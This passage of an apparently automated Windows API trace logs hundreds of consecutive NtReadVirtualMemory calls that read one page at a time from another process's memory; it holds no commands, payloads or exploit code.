Buffer=0x9cc7000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.440] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77368000, Buffer=0x9cc8000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cc8000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.440] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77369000, Buffer=0x9cc9000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cc9000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.440] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7736a000, Buffer=0x9cca000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cca000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.440] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7736b000, Buffer=0x9ccb000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9ccb000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.440] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7736c000, Buffer=0x9ccc000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9ccc000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.441] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7736d000, Buffer=0x9ccd000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9ccd000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.441] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7736e000, Buffer=0x9cce000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cce000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.441] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7736f000, Buffer=0x9ccf000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9ccf000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.441] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77370000, Buffer=0x9cd0000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cd0000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.441] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77371000, Buffer=0x9cd1000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cd1000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.441] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77372000, Buffer=0x9cd2000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cd2000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.441] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77373000, Buffer=0x9cd3000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cd3000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.442] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77374000, Buffer=0x9cd4000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cd4000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.442] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77375000, Buffer=0x9cd5000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cd5000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.442] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77376000, Buffer=0x9cd6000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cd6000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.442] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77377000, Buffer=0x9cd7000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cd7000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.442] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77378000, Buffer=0x9cd8000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cd8000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.442] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77379000, Buffer=0x9cd9000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cd9000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.442] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7737a000, Buffer=0x9cda000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cda000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.443] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7737b000, Buffer=0x9cdb000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cdb000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.443] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7737c000, Buffer=0x9cdc000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cdc000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.443] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7737d000, Buffer=0x9cdd000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cdd000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.443] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7737e000, Buffer=0x9cde000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cde000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.443] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7737f000, Buffer=0x9cdf000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cdf000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.443] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77380000, Buffer=0x9ce0000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9ce0000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.443] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77381000, Buffer=0x9ce1000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9ce1000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.444] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77382000, Buffer=0x9ce2000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9ce2000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.444] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77383000, Buffer=0x9ce3000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9ce3000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.444] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77384000, Buffer=0x9ce4000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9ce4000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.445] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77385000, Buffer=0x9ce5000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9ce5000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.445] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77386000, Buffer=0x9ce6000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9ce6000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.445] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77387000, Buffer=0x9ce7000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9ce7000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.445] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77388000, Buffer=0x9ce8000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9ce8000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.445] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77389000, Buffer=0x9ce9000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9ce9000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.445] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7738a000, Buffer=0x9cea000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cea000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.445] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7738b000, Buffer=0x9ceb000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9ceb000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.446] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7738c000, Buffer=0x9cec000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cec000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.446] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7738d000, Buffer=0x9ced000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9ced000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.446] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7738e000, Buffer=0x9cee000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cee000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.446] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7738f000, Buffer=0x9cef000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cef000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.446] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77390000, Buffer=0x9cf0000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cf0000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.446] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77391000, Buffer=0x9cf1000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cf1000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.446] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77392000, Buffer=0x9cf2000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cf2000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.447] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77393000, Buffer=0x9cf3000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cf3000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.447] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77394000, Buffer=0x9cf4000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cf4000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.447] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77395000, Buffer=0x9cf5000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cf5000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.447] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77396000, Buffer=0x9cf6000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cf6000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.447] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77397000, Buffer=0x9cf7000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cf7000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.447] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77398000, Buffer=0x9cf8000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cf8000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.447] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77399000, Buffer=0x9cf9000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cf9000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.447] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7739a000, Buffer=0x9cfa000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cfa000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.448] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7739b000, Buffer=0x9cfb000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cfb000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.448] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7739c000, Buffer=0x9cfc000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cfc000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.448] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7739d000, Buffer=0x9cfd000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cfd000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.448] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7739e000, Buffer=0x9cfe000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cfe000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.448] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7739f000, Buffer=0x9cff000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cff000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.448] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773a0000, Buffer=0x9d00000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d00000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.448] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773a1000, Buffer=0x9d01000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d01000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.449] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773a2000, Buffer=0x9d02000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d02000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.449] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773a3000, Buffer=0x9d03000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d03000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.449] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773a4000, Buffer=0x9d04000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d04000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.449] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773a5000, Buffer=0x9d05000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d05000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.449] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773a6000, Buffer=0x9d06000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d06000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.449] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773a7000, Buffer=0x9d07000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d07000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.449] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773a8000, Buffer=0x9d08000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d08000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.450] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773a9000, Buffer=0x9d09000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d09000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.450] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773aa000, Buffer=0x9d0a000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d0a000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.450] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773ab000, Buffer=0x9d0b000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d0b000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.450] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773ac000, Buffer=0x9d0c000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d0c000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.450] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773ad000, Buffer=0x9d0d000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d0d000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.450] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773ae000, Buffer=0x9d0e000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d0e000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.450] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773af000, Buffer=0x9d0f000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d0f000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.451] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773b0000, Buffer=0x9d10000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d10000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.451] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773b1000, Buffer=0x9d11000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d11000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.451] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773b2000, Buffer=0x9d12000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d12000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.451] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773b3000, Buffer=0x9d13000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d13000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.451] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773b4000, Buffer=0x9d14000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d14000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.451] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773b5000, Buffer=0x9d15000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d15000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.451] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773b6000, Buffer=0x9d16000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d16000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.452] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773b7000, Buffer=0x9d17000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d17000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.452] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773b8000, Buffer=0x9d18000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d18000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.452] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773b9000, Buffer=0x9d19000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d19000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.452] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773ba000, Buffer=0x9d1a000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d1a000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.452] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773bb000, Buffer=0x9d1b000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d1b000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.452] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773bc000, Buffer=0x9d1c000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d1c000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.452] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773bd000, Buffer=0x9d1d000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d1d000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.453] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773be000, Buffer=0x9d1e000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d1e000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.453] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773bf000, Buffer=0x9d1f000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d1f000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.453] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773c0000, Buffer=0x9d20000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d20000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.453] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773c1000, Buffer=0x9d21000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d21000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.453] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773c2000, Buffer=0x9d22000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d22000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.453] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773c3000, Buffer=0x9d23000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d23000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.453] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773c4000, Buffer=0x9d24000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d24000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.454] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773c5000, Buffer=0x9d25000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d25000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.454] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773c6000, Buffer=0x9d26000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d26000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.454] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773c7000, Buffer=0x9d27000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d27000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.454] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773c8000, Buffer=0x9d28000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d28000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.454] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773c9000, Buffer=0x9d29000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d29000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.454] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773ca000, Buffer=0x9d2a000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d2a000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.454] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773cb000, Buffer=0x9d2b000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d2b000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.455] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773cc000, Buffer=0x9d2c000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d2c000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.455] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773cd000, Buffer=0x9d2d000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d2d000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.455] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773ce000, Buffer=0x9d2e000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d2e000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.455] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773cf000, Buffer=0x9d2f000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d2f000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.455] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773d0000, Buffer=0x9d30000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d30000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.455] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773d1000, 